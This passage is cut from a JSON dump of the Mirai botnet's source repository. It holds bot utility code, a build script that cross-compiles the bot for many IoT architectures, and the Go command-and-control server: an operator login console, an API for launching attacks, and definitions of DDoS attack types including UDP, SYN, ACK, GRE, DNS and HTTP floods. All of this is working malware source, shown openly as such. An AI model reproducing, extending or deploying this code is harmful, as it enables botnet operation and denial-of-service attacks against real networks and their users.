0x60 : a;\n        b = b >= 'A' && b <= 'Z' ? b | 0x60 : b;\n\n        if (a == b)\n        {\n            if (++match_count == str_len)\n                return (ptr - haystack);\n        }\n        else\n            match_count = 0;\n    }\n\n    return -1;\n}\n\nipv4_t util_local_addr(void)\n{\n    int fd;\n    struct sockaddr_in addr;\n    socklen_t addr_len = sizeof (addr);\n\n    errno = 0;\n    if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[util] Failed to call socket(), errno = %d\\n\", errno);\n#endif\n        return 0;\n    }\n\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);\n    addr.sin_port = htons(53);\n\n    connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));\n\n    getsockname(fd, (struct sockaddr *)&addr, &addr_len);\n    close(fd);\n    return addr.sin_addr.s_addr;\n}\n\nchar *util_fdgets(char *buffer, int buffer_size, int fd)\n{\n    int got = 0, total = 0;\n    do \n    {\n        got = read(fd, buffer + total, 1);\n        total = got == 1 ? total + 1 : total;\n    }\n    while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\\n');\n\n    return total == 0 ? NULL : buffer;\n}\n\nstatic inline int util_isupper(char c)\n{\n    return (c >= 'A' && c <= 'Z');\n}\n\nstatic inline int util_isalpha(char c)\n{\n    return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'));\n}\n\nstatic inline int util_isspace(char c)\n{\n    return (c == ' ' || c == '\\t' || c == '\\n' || c == '\\12');\n}\n\nstatic inline int util_isdigit(char c)\n{\n    return (c >= '0' && c <= '9');\n}\n"
  },
  {
    "path": "mirai/bot/util.h",
    "content": "#pragma once\n\n#include \"includes.h\"\n\nint util_strlen(char *);\nBOOL util_strncmp(char *, char *, int);\nBOOL util_strcmp(char *, char *);\nint util_strcpy(char *, char *);\nvoid util_memcpy(void *, void *, int);\nvoid util_zero(void *, int);\nint util_atoi(char *, int);\nchar *util_itoa(int, int, char *);\nint util_memsearch(char *, int, char *, int);\nint util_stristr(char *, int, char *);\nipv4_t util_local_addr(void);\nchar *util_fdgets(char *, int, int);\n\nstatic inline int util_isupper(char);\nstatic inline int util_isalpha(char);\nstatic inline int util_isspace(char);\nstatic inline int util_isdigit(char);\n\n"
  },
  {
    "path": "mirai/build.sh",
    "content": "#!/bin/bash\n\nFLAGS=\"\"\n\nfunction compile_bot {\n    \"$1-gcc\" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/\"$2\" -DMIRAI_BOT_ARCH=\\\"\"$1\"\\\"\n    \"$1-strip\" release/\"$2\" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr\n}\n\nif [ $# == 2 ]; then\n    if [ \"$2\" == \"telnet\" ]; then\n        FLAGS=\"-DMIRAI_TELNET\"\n    elif [ \"$2\" == \"ssh\" ]; then\n        FLAGS=\"-DMIRAI_SSH\"\n    fi\nelse\n    echo \"Missing build type.\" \n    echo \"Usage: $0 <debug | release> <telnet | ssh>\"\nfi\n\nif [ $# == 0 ]; then\n    echo \"Usage: $0 <debug | release> <telnet | ssh>\"\nelif [ \"$1\" == \"release\" ]; then\n    rm release/mirai.*\n    rm release/miraint.*\n    go build -o release/cnc cnc/*.go\n    compile_bot i586 mirai.x86 \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot mips mirai.mips \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot mipsel mirai.mpsl \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot armv4l mirai.arm \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot armv5l mirai.arm5n \"$FLAGS -DKILLER_REBIND_SSH\"\n    compile_bot armv6l mirai.arm7 \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot powerpc mirai.ppc \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot sparc mirai.spc \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot m68k mirai.m68k \"$FLAGS -DKILLER_REBIND_SSH -static\"\n    compile_bot sh4 mirai.sh4 \"$FLAGS -DKILLER_REBIND_SSH -static\"\n\n    compile_bot i586 miraint.x86 \"-static\"\n    compile_bot mips miraint.mips \"-static\"\n    compile_bot mipsel miraint.mpsl \"-static\"\n    compile_bot armv4l miraint.arm \"-static\"\n    compile_bot armv5l miraint.arm5n \" \"\n    compile_bot armv6l miraint.arm7 \"-static\"\n    compile_bot powerpc miraint.ppc \"-static\"\n    compile_bot sparc miraint.spc \"-static\"\n    compile_bot m68k miraint.m68k \"-static\"\n    compile_bot sh4 miraint.sh4 \"-static\"\n\n    go build -o release/scanListen tools/scanListen.go\nelif [ \"$1\" == \"debug\" ]; then\n    gcc -std=c99 bot/*.c -DDEBUG \"$FLAGS\" -static -g -o debug/mirai.dbg\n    mips-gcc -std=c99 -DDEBUG bot/*.c \"$FLAGS\" -static -g -o debug/mirai.mips\n    armv4l-gcc -std=c99 -DDEBUG bot/*.c \"$FLAGS\" -static -g -o debug/mirai.arm\n    armv6l-gcc -std=c99 -DDEBUG bot/*.c \"$FLAGS\" -static -g -o debug/mirai.arm7\n    sh4-gcc -std=c99 -DDEBUG bot/*.c \"$FLAGS\" -static -g -o debug/mirai.sh4\n    gcc -std=c99 tools/enc.c -g -o debug/enc\n    gcc -std=c99 tools/nogdb.c -g -o debug/nogdb\n    gcc -std=c99 tools/badbot.c -g -o debug/badbot\n    go build -o debug/cnc cnc/*.go\n    go build -o debug/scanListen tools/scanListen.go\nelse\n    echo \"Unknown parameter $1: $0 <debug | release>\"\nfi\n"
  },
  {
    "path": "mirai/cnc/admin.go",
    "content": "package main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"time\"\n    \"strings\"\n    \"io/ioutil\"\n    \"strconv\"\n)\n\ntype Admin struct {\n    conn    net.Conn\n}\n\nfunc NewAdmin(conn net.Conn) *Admin {\n    return &Admin{conn}\n}\n\nfunc (this *Admin) Handle() {\n    this.conn.Write([]byte(\"\\033[?1049h\"))\n    this.conn.Write([]byte(\"\\xFF\\xFB\\x01\\xFF\\xFB\\x03\\xFF\\xFC\\x22\"))\n\n    defer func() {\n        this.conn.Write([]byte(\"\\033[?1049l\"))\n    }()\n\n    headerb, err := ioutil.ReadFile(\"prompt.txt\")\n    if err != nil {\n        return\n    }\n\n    header := string(headerb)\n    this.conn.Write([]byte(strings.Replace(strings.Replace(header, \"\\r\\n\", \"\\n\", -1), \"\\n\", \"\\r\\n\", -1)))\n\n    // Get username\n    this.conn.SetDeadline(time.Now().Add(60 * time.Second))\n    this.conn.Write([]byte(\"\\033[34;1mпользователь\\033[33;3m: \\033[0m\"))\n    username, err := this.ReadLine(false)\n    if err != nil {\n        return\n    }\n\n    // Get password\n    this.conn.SetDeadline(time.Now().Add(60 * time.Second))\n    this.conn.Write([]byte(\"\\033[34;1mпароль\\033[33;3m: \\033[0m\"))\n    password, err := this.ReadLine(true)\n    if err != nil {\n        return\n    }\n\n    this.conn.SetDeadline(time.Now().Add(120 * time.Second))\n    this.conn.Write([]byte(\"\\r\\n\"))\n    spinBuf := []byte{'-', '\\\\', '|', '/'}\n    for i := 0; i < 15; i++ {\n        this.conn.Write(append([]byte(\"\\r\\033[37;1mпроверив счета... \\033[31m\"), spinBuf[i % len(spinBuf)]))\n        time.Sleep(time.Duration(300) * time.Millisecond)\n    }\n\n    var loggedIn bool\n    var userInfo AccountInfo\n    if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {\n        this.conn.Write([]byte(\"\\r\\033[32;1mпроизошла неизвестная ошибка\\r\\n\"))\n        this.conn.Write([]byte(\"\\033[31mнажмите любую клавишу для выхода. (any key)\\033[0m\"))\n        buf := make([]byte, 1)\n        this.conn.Read(buf)\n        return\n    }\n\n    this.conn.Write([]byte(\"\\r\\n\\033[0m\"))\n    this.conn.Write([]byte(\"[+] DDOS | Succesfully hijacked connection\\r\\n\"))\n    time.Sleep(250 * time.Millisecond)\n    this.conn.Write([]byte(\"[+] DDOS | Masking connection from utmp+wtmp...\\r\\n\"))\n    time.Sleep(500 * time.Millisecond)\n    this.conn.Write([]byte(\"[+] DDOS | Hiding from netstat...\\r\\n\"))\n    time.Sleep(150 * time.Millisecond)\n    this.conn.Write([]byte(\"[+] DDOS | Removing all traces of LD_PRELOAD...\\r\\n\"))\n    for i := 0; i < 4; i++ {\n        time.Sleep(100 * time.Millisecond)\n        this.conn.Write([]byte(fmt.Sprintf(\"[+] DDOS | Wiping env libc.poison.so.%d\\r\\n\", i + 1)))\n    }\n    this.conn.Write([]byte(\"[+] DDOS | Setting up virtual terminal...\\r\\n\"))\n    time.Sleep(1 * time.Second)\n\n    go func() {\n        i := 0\n        for {\n            var BotCount int\n            if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {\n                BotCount = userInfo.maxBots\n            } else {\n                BotCount = clientList.Count()\n            }\n\n            time.Sleep(time.Second)\n            if _, err := this.conn.Write([]byte(fmt.Sprintf(\"\\033]0;%d Bots Connected | %s\\007\", BotCount, username))); err != nil {\n                this.conn.Close()\n                break\n            }\n            i++\n            if i % 60 == 0 {\n                this.conn.SetDeadline(time.Now().Add(120 * time.Second))\n            }\n        }\n    }()\n\n    this.conn.Write([]byte(\"\\033[37;1m[!] Sharing access IS prohibited!\\r\\n[!] Do NOT share your credentials!\\r\\n\\033[36;1mReady\\r\\n\"))\n    for {\n        var botCatagory string\n        var botCount int\n        this.conn.Write([]byte(\"\\033[32;1m\" + username + \"@botnet# \\033[0m\"))\n        cmd, err := this.ReadLine(false)\n        if err != nil || cmd == \"exit\" || cmd == \"quit\" {\n            return\n        }\n        if cmd == \"\" {\n            continue\n        }\n        botCount = userInfo.maxBots\n\n        if userInfo.admin == 1 && cmd == \"adduser\" {\n            this.conn.Write([]byte(\"Enter new username: \"))\n            new_un, err := this.ReadLine(false)\n            if err != nil {\n                return\n            }\n            this.conn.Write([]byte(\"Enter new password: \"))\n            new_pw, err := this.ReadLine(false)\n            if err != nil {\n                return\n            }\n            this.conn.Write([]byte(\"Enter wanted bot count (-1 for full net): \"))\n            max_bots_str, err := this.ReadLine(false)\n            if err != nil {\n                return\n            }\n            max_bots, err := strconv.Atoi(max_bots_str)\n            if err != nil {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", \"Failed to parse the bot count\")))\n                continue\n            }\n            this.conn.Write([]byte(\"Max attack duration (-1 for none): \"))\n            duration_str, err := this.ReadLine(false)\n            if err != nil {\n                return\n            }\n            duration, err := strconv.Atoi(duration_str)\n            if err != nil {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", \"Failed to parse the attack duration limit\")))\n                continue\n            }\n            this.conn.Write([]byte(\"Cooldown time (0 for none): \"))\n            cooldown_str, err := this.ReadLine(false)\n            if err != nil {\n                return\n            }\n            cooldown, err := strconv.Atoi(cooldown_str)\n            if err != nil {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", \"Failed to parse the cooldown\")))\n                continue\n            }\n            this.conn.Write([]byte(\"New account info: \\r\\nUsername: \" + new_un + \"\\r\\nPassword: \" + new_pw + \"\\r\\nBots: \" + max_bots_str + \"\\r\\nContinue? (y/N)\"))\n            confirm, err := this.ReadLine(false)\n            if err != nil {\n                return\n            }\n            if confirm != \"y\" {\n                continue\n            }\n            if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", \"Failed to create new user. An unknown error occured.\")))\n            } else {\n                this.conn.Write([]byte(\"\\033[32;1mUser added successfully.\\033[0m\\r\\n\"))\n            }\n            continue\n        }\n        if userInfo.admin == 1 && cmd == \"botcount\" {\n            m := clientList.Distribution()\n            for k, v := range m {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[36;1m%s:\\t%d\\033[0m\\r\\n\", k, v)))\n            }\n            continue\n        }\n        if cmd[0] == '-' {\n            countSplit := strings.SplitN(cmd, \" \", 2)\n            count := countSplit[0][1:]\n            botCount, err = strconv.Atoi(count)\n            if err != nil {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1mFailed to parse botcount \\\"%s\\\"\\033[0m\\r\\n\", count)))\n                continue\n            }\n            if userInfo.maxBots != -1 && botCount > userInfo.maxBots {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1mBot count to send is bigger then allowed bot maximum\\033[0m\\r\\n\")))\n                continue\n            }\n            cmd = countSplit[1]\n        }\n        if userInfo.admin == 1 && cmd[0] == '@' {\n            cataSplit := strings.SplitN(cmd, \" \", 2)\n            botCatagory = cataSplit[0][1:]\n            cmd = cataSplit[1]\n        }\n\n        atk, err := NewAttack(cmd, userInfo.admin)\n        if err != nil {\n            this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", err.Error())))\n        } else {\n            buf, err := atk.Build()\n            if err != nil {\n                this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", err.Error())))\n            } else {\n                if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {\n                    this.conn.Write([]byte(fmt.Sprintf(\"\\033[31;1m%s\\033[0m\\r\\n\", err.Error())))\n                } else if !database.ContainsWhitelistedTargets(atk) {\n                    clientList.QueueBuf(buf, botCount, botCatagory)\n                } else {\n                    fmt.Println(\"Blocked attack by \" + username + \" to whitelisted prefix\")\n                }\n            }\n        }\n    }\n}\n\nfunc (this *Admin) ReadLine(masked bool) (string, error) {\n    buf := make([]byte, 1024)\n    bufPos := 0\n\n    for {\n        n, err := this.conn.Read(buf[bufPos:bufPos+1])\n        if err != nil || n != 1 {\n            return \"\", err\n        }\n        if buf[bufPos] == '\\xFF' {\n            n, err := this.conn.Read(buf[bufPos:bufPos+2])\n            if err != nil || n != 2 {\n                return \"\", err\n            }\n            bufPos--\n        } else if buf[bufPos] == '\\x7F' || buf[bufPos] == '\\x08' {\n            if bufPos > 0 {\n                this.conn.Write([]byte(string(buf[bufPos])))\n                bufPos--\n            }\n            bufPos--\n        } else if buf[bufPos] == '\\r' || buf[bufPos] == '\\t' || buf[bufPos] == '\\x09' {\n            bufPos--\n        } else if buf[bufPos] == '\\n' || buf[bufPos] == '\\x00' {\n            this.conn.Write([]byte(\"\\r\\n\"))\n            return string(buf[:bufPos]), nil\n        } else if buf[bufPos] == 0x03 {\n            this.conn.Write([]byte(\"^C\\r\\n\"))\n            return \"\", nil\n        } else {\n            if buf[bufPos] == '\\x1B' {\n                buf[bufPos] = '^';\n                this.conn.Write([]byte(string(buf[bufPos])))\n                bufPos++;\n                buf[bufPos] = '[';\n                this.conn.Write([]byte(string(buf[bufPos])))\n            } else if masked {\n                this.conn.Write([]byte(\"*\"))\n            } else {\n                this.conn.Write([]byte(string(buf[bufPos])))\n            }\n        }\n        bufPos++\n    }\n    return string(buf), nil\n}\n"
  },
  {
    "path": "mirai/cnc/api.go",
    "content": "package main\n\nimport (\n    \"net\"\n    \"time\"\n    \"strings\"\n    \"strconv\"\n)\n\ntype Api struct {\n    conn    net.Conn\n}\n\nfunc NewApi(conn net.Conn) *Api {\n    return &Api{conn}\n}\n\nfunc (this *Api) Handle() {\n    var botCount int\n    var apiKeyValid bool\n    var userInfo AccountInfo\n\n    // Get command\n    this.conn.SetDeadline(time.Now().Add(60 * time.Second))\n    cmd, err := this.ReadLine()\n    if err != nil {\n        this.conn.Write([]byte(\"ERR|Failed reading line\\r\\n\"))\n        return\n    }\n    passwordSplit := strings.SplitN(cmd, \"|\", 2)\n    if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid {\n        this.conn.Write([]byte(\"ERR|API code invalid\\r\\n\"))\n        return\n    }\n    botCount = userInfo.maxBots\n    cmd = passwordSplit[1]\n    if cmd[0] == '-' {\n        countSplit := strings.SplitN(cmd, \" \", 2)\n        count := countSplit[0][1:]\n        botCount, err = strconv.Atoi(count)\n        if err != nil {\n            this.conn.Write([]byte(\"ERR|Failed parsing botcount\\r\\n\"))\n            return\n        }\n        if userInfo.maxBots != -1 && botCount > userInfo.maxBots {\n            this.conn.Write([]byte(\"ERR|Specified bot count over limit\\r\\n\"))\n            return\n        }\n        cmd = countSplit[1]\n    }\n\n    atk, err := NewAttack(cmd, userInfo.admin)\n    if err != nil {\n        this.conn.Write([]byte(\"ERR|Failed parsing attack command\\r\\n\"))\n        return\n    }\n    buf, err := atk.Build()\n    if err != nil {\n        this.conn.Write([]byte(\"ERR|An unknown error occurred\\r\\n\"))\n        return\n    }\n    if database.ContainsWhitelistedTargets(atk) {\n        this.conn.Write([]byte(\"ERR|Attack targetting whitelisted target\\r\\n\"))\n        return\n    }\n    if can, _ := database.CanLaunchAttack(userInfo.username, atk.Duration, cmd, botCount, 1); !can {\n        this.conn.Write([]byte(\"ERR|Attack cannot be launched\\r\\n\"))\n        return\n    }\n\n    clientList.QueueBuf(buf, botCount, \"\")\n    this.conn.Write([]byte(\"OK\\r\\n\"))\n}\n\nfunc (this *Api) ReadLine() (string, error) {\n    buf := make([]byte, 1024)\n    bufPos := 0\n\n    for {\n        n, err := this.conn.Read(buf[bufPos:bufPos+1])\n        if err != nil || n != 1 {\n            return \"\", err\n        }\n        if buf[bufPos] == '\\r' || buf[bufPos] == '\\t' || buf[bufPos] == '\\x09' {\n            bufPos--\n        } else if buf[bufPos] == '\\n' || buf[bufPos] == '\\x00' {\n            return string(buf[:bufPos]), nil\n        }\n        bufPos++\n    }\n    return string(buf), nil\n}\n"
  },
  {
    "path": "mirai/cnc/attack.go",
    "content": "package main\n\nimport (\n    \"fmt\"\n    \"strings\"\n    \"strconv\"\n    \"net\"\n    \"encoding/binary\"\n    \"errors\"\n    \"github.com/mattn/go-shellwords\"\n)\n\ntype AttackInfo struct {\n    attackID            uint8\n    attackFlags         []uint8\n    attackDescription   string\n}\n\ntype Attack struct {\n    Duration    uint32\n    Type        uint8\n    Targets     map[uint32]uint8    // Prefix/netmask\n    Flags       map[uint8]string    // key=value\n}\n\ntype FlagInfo struct {\n    flagID          uint8\n    flagDescription string\n}\n\nvar flagInfoLookup map[string]FlagInfo = map[string]FlagInfo {\n    \"len\": FlagInfo {\n        0,\n        \"Size of packet data, default is 512 bytes\",\n    },\n    \"rand\": FlagInfo {\n        1,\n        \"Randomize packet data content, default is 1 (yes)\",\n    },\n    \"tos\": FlagInfo {\n        2,\n        \"TOS field value in IP header, default is 0\",\n    },\n    \"ident\": FlagInfo {\n        3,\n        \"ID field value in IP header, default is random\",\n    },\n    \"ttl\": FlagInfo {\n        4,\n        \"TTL field in IP header, default is 255\",\n    },\n    \"df\": FlagInfo {\n        5,\n        \"Set the Dont-Fragment bit in IP header, default is 0 (no)\",\n    },\n    \"sport\": FlagInfo {\n        6,\n        \"Source port, default is random\",\n    },\n    \"dport\": FlagInfo {\n        7,\n        \"Destination port, default is random\",\n    },\n    \"domain\": FlagInfo {\n        8,\n        \"Domain name to attack\",\n    },\n    \"dhid\": FlagInfo {\n        9,\n        \"Domain name transaction ID, default is random\",\n    },\n    \"urg\": FlagInfo {\n        11,\n        \"Set the URG bit in IP header, default is 0 (no)\",\n    },\n    \"ack\": FlagInfo {\n        12,\n        \"Set the ACK bit in IP header, default is 0 (no) except for ACK flood\",\n    },\n    \"psh\": FlagInfo {\n        13,\n        \"Set the PSH bit in IP header, default is 0 (no)\",\n    },\n    \"rst\": FlagInfo {\n        14,\n        \"Set the RST bit in IP header, default is 0 (no)\",\n    },\n    \"syn\": FlagInfo {\n        15,\n        \"Set the ACK bit in IP header, default is 0 (no) except for SYN flood\",\n    },\n    \"fin\": FlagInfo {\n        16,\n        \"Set the FIN bit in IP header, default is 0 (no)\",\n    },\n    \"seqnum\": FlagInfo {\n        17,\n        \"Sequence number value in TCP header, default is random\",\n    },\n    \"acknum\": FlagInfo {\n        18,\n        \"Ack number value in TCP header, default is random\",\n    },\n    \"gcip\": FlagInfo {\n        19,\n        \"Set internal IP to destination ip, default is 0 (no)\",\n    },\n    \"method\": FlagInfo {\n        20,\n        \"HTTP method name, default is get\",\n    },\n    \"postdata\": FlagInfo {\n        21,\n        \"POST data, default is empty/none\",\n    },\n    \"path\": FlagInfo {\n        22,\n        \"HTTP path, default is /\",\n    },\n    /*\"ssl\": FlagInfo {\n        23,\n        \"Use HTTPS/SSL\"\n    },\n    */\n    \"conns\": FlagInfo {\n        24,\n        \"Number of connections\",\n    },\n    \"source\": FlagInfo {\n        25,\n        \"Source IP address, 255.255.255.255 for random\",\n    },\n}\n\nvar attackInfoLookup map[string]AttackInfo = map[string]AttackInfo {\n    \"udp\": AttackInfo {\n        0,\n        []uint8 { 2, 3, 4, 0, 1, 5, 6, 7, 25 },\n        \"UDP flood\",\n    },\n    \"vse\": AttackInfo {\n        1,\n        []uint8 { 2, 3, 4, 5, 6, 7 },\n        \"Valve source engine specific flood\",\n    },\n    \"dns\": AttackInfo {\n        2,\n        []uint8 { 2, 3, 4, 5, 6, 7, 8, 9 },\n        \"DNS resolver flood using the targets domain, input IP is ignored\",\n    },\n    \"syn\": AttackInfo {\n        3,\n        []uint8 { 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },\n        \"SYN flood\",\n    },\n    \"ack\": AttackInfo {\n        4,\n        []uint8 { 0, 1, 2, 3, 4, 5, 6, 7, 11, 12, 13, 14, 15, 16, 17, 18, 25 },\n        \"ACK flood\",\n    },\n    \"stomp\": AttackInfo {\n        5,\n        []uint8 { 0, 1, 2, 3, 4, 5, 7, 11, 12, 13, 14, 15, 16 },\n        \"TCP stomp flood\",\n    },\n    \"greip\": AttackInfo {\n        6,\n        []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},\n        \"GRE IP flood\",\n    },\n    \"greeth\": AttackInfo {\n        7,\n        []uint8 {0, 1, 2, 3, 4, 5, 6, 7, 19, 25},\n        \"GRE Ethernet flood\",\n    },\n    \"udpplain\": AttackInfo {\n        9,\n        []uint8 {0, 1, 7},\n        \"UDP flood with less options. optimized for higher PPS\",\n    },\n    \"http\": AttackInfo {\n        10,\n        []uint8 {8, 7, 20, 21, 22, 24},\n        \"HTTP flood\",\n    },\n}\n\nfunc uint8InSlice(a uint8, list []uint8) bool {\n    for _, b := range list {\n        if b == a {\n            return true\n        }\n    }\n    return false\n}\n\nfunc NewAttack(str string, admin int) (*Attack, error) {\n    atk := &Attack{0, 0, make(map[uint32]uint8), make(map[uint8]string)}\n    args, _ := shellwords.Parse(str)\n\n    var atkInfo AttackInfo\n    // Parse attack name\n    if len(args) == 0 {\n        return nil, errors.New(\"Must specify an attack name\")\n    } else {\n        if args[0] == \"?\" {\n            validCmdList := \"\\033[37;1mAvailable attack list\\r\\n\\033[36;1m\"\n            for cmdName, atkInfo := range attackInfoLookup {\n                validCmdList += cmdName + \": \" + atkInfo.attackDescription + \"\\r\\n\"\n            }\n            return nil, errors.New(validCmdList)\n        }\n        var exists bool\n        atkInfo, exists = attackInfoLookup[args[0]]\n        if !exists {\n            return nil, errors.New(fmt.Sprintf(\"\\033[33;1m%s \\033[31mis not a valid attack!\", args[0]))\n        }\n        atk.Type = atkInfo.attackID\n        args = args[1:]\n    }\n\n    // Parse targets\n    if len(args) == 0 {\n        return nil, errors.New(\"Must specify prefix/netmask as targets\")\n    } else {\n        if args[0] == \"?\" {\n            return nil, errors.New(\"\\033[37;1mComma delimited list of target prefixes\\r\\nEx: 192.168.0.1\\r\\nEx: 10.0.0.0/8\\r\\nEx: 8.8.8.8,127.0.0.0/29\")\n        }\n        cidrArgs := strings.Split(args[0], \",\")\n        if len(cidrArgs) > 255 {\n            return nil, errors.New(\"Cannot specify more than 255 targets in a single attack!\")\n        }\n        for _,cidr := range cidrArgs {\n            prefix := \"\"\n            netmask := uint8(32)\n            cidrInfo := strings.Split(cidr, \"/\")\n            if len(cidrInfo) == 0 {\n                return nil, errors.New(\"Blank target specified!\")\n            }\n            prefix = cidrInfo[0]\n            if len(cidrInfo) == 2 {\n                netmaskTmp, err := strconv.Atoi(cidrInfo[1])\n                if err != nil || netmask > 32 || netmask < 0 {\n                    return nil, errors.New(fmt.Sprintf(\"Invalid netmask was supplied, near %s\", cidr))\n                }\n                netmask = uint8(netmaskTmp)\n            } else if len(cidrInfo) > 2 {\n                return nil, errors.New(fmt.Sprintf(\"Too many /'s in prefix, near %s\", cidr))\n            }\n\n            ip := net.ParseIP(prefix)\n            if ip == nil {\n                return nil, errors.New(fmt.Sprintf(\"Failed to parse IP address, near %s\", cidr))\n            }\n            atk.Targets[binary.BigEndian.Uint32(ip[12:])] = netmask\n        }\n        args = args[1:]\n    }\n\n    // Parse attack duration time\n    if len(args) == 0 {\n        return nil, errors.New(\"Must specify an attack duration\")\n    } else {\n        if args[0] == \"?\" {\n            return nil, errors.New(\"\\033[37;1mDuration of the attack, in seconds\")\n        }\n        duration, err := strconv.Atoi(args[0])\n        if err != nil || duration == 0 || duration > 3600 {\n            return nil, errors.New(fmt.Sprintf(\"Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds\", args[0]))\n        }\n        atk.Duration = uint32(duration)\n        args = args[1:]\n    }\n\n    // Parse flags\n    for len(args) > 0 {\n        if args[0] == \"?\" {\n            validFlags := \"\\033[37;1mList of flags key=val seperated by spaces. Valid flags for this method are\\r\\n\\r\\n\"\n            for _, flagID := range atkInfo.attackFlags {\n                for flagName, flagInfo := range flagInfoLookup {\n                    if flagID == flagInfo.flagID {\n                        validFlags += flagName + \": \" + flagInfo.flagDescription + \"\\r\\n\"\n                        break\n                    }\n                }\n            }\n            validFlags += \"\\r\\nValue of 65535 for a flag denotes random (for ports, etc)\\r\\n\"\n            validFlags += \"Ex: seq=0\\r\\nEx: sport=0 dport=65535\"\n            return nil, errors.New(validFlags)\n        }\n        flagSplit := strings.SplitN(args[0], \"=\", 2)\n        if len(flagSplit) != 2 {\n            return nil, errors.New(fmt.Sprintf(\"Invalid key=value flag combination near %s\", args[0]))\n        }\n        flagInfo, exists := flagInfoLookup[flagSplit[0]]\n        if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) {\n            return nil, errors.New(fmt.Sprintf(\"Invalid flag key %s, near %s\", flagSplit[0], args[0]))\n        }\n        if flagSplit[1][0] == '\"' {\n            flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1]\n            fmt.Println(flagSplit[1])\n        }\n        if flagSplit[1] == \"true\" {\n            flagSplit[1] = \"1\"\n        } else if flagSplit[1] == \"false\" {\n            flagSplit[1] = \"0\"\n        }\n        atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1]\n        args = args[1:]\n    }\n    if len(atk.Flags) > 255 {\n        return nil, errors.New(\"Cannot have more than 255 flags\")\n    }\n\n    return atk, nil\n}\n\nfunc (this *Attack) Build() ([]byte, error) {\n    buf := make([]byte, 0)\n    var tmp []byte\n\n    // Add in attack duration\n    tmp = make([]byte, 4)\n    binary.BigEndian.PutUint32(tmp, this.Duration)\n    buf = append(buf, tmp...)\n\n    // Add in attack type\n    buf = append(buf, byte(this.Type))\n\n    // Send number of targets\n    buf = append(buf, byte(len(this.Targets)))\n\n    // Send targets\n    for prefix,netmask := range this.Targets {\n        tmp = make([]byte, 5)\n        binary.BigEndian.PutUint32(tmp, prefix)\n        tmp[4] = byte(netmask)\n        buf = append(buf, tmp...)\n    }\n\n    // Send number of flags\n    buf = append(buf, byte(len(this.Flags)))\n\n    // Send flags\n    for key,val := range this.Flags {\n        tmp = make([]byte, 2)\n        tmp[0] = key\n        strbuf := []byte(val)\n        if len(strbuf) > 255 {\n            return nil, errors.New(\"Flag value cannot be more than 255 bytes!\")\n        }\n        tmp[1] = uint8(len(strbuf))\n        tmp = append(tmp, strbuf...)\n        buf = append(buf, tmp...)\n    }\n\n    // Specify the total length\n    if len(buf) > 4096 {\n        return nil, errors.New(\"Max buffer is 4096\")\n    }\n    tmp = make([]byte, 2)\n    binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2))\n    buf = append(tmp, buf...)\n\n    return buf, nil\n}\n"
  },
  {
    "path": "mirai/cnc/bot.go",
    "content": "package main\n\nimport (\n    \"net\"\n    \"time\"\n)\n\ntype Bot struct {\n    uid     int\n    conn    net.Conn\n    version byte\n    source  string\n}\n\nfunc NewBot(conn net.Conn, version byte, source string) *Bot {\n    return &Bot{-1, conn, version, source}\n}\n\nfunc (this *Bot) Handle() {\n    clientList.AddClient(this)\n    defer clientList.DelClient(this)\n\n    buf := make([]byte, 2)\n    for {\n        this.conn.SetDeadline(time.Now().Add(180 * time.Second))\n        if n,err := this.conn.Read(buf); err != nil || n != len(buf) {\n            return\n        }\n        if n,err := this.conn.Write(buf); err != nil || n != len(buf) {\n            return\n        }\n    }\n}\n\nfunc (this *Bot) QueueBuf(buf []byte) {\n    this.conn.Write(buf)\n}\n"
  },
  {
    "path": "mirai/cnc/clientList.go",
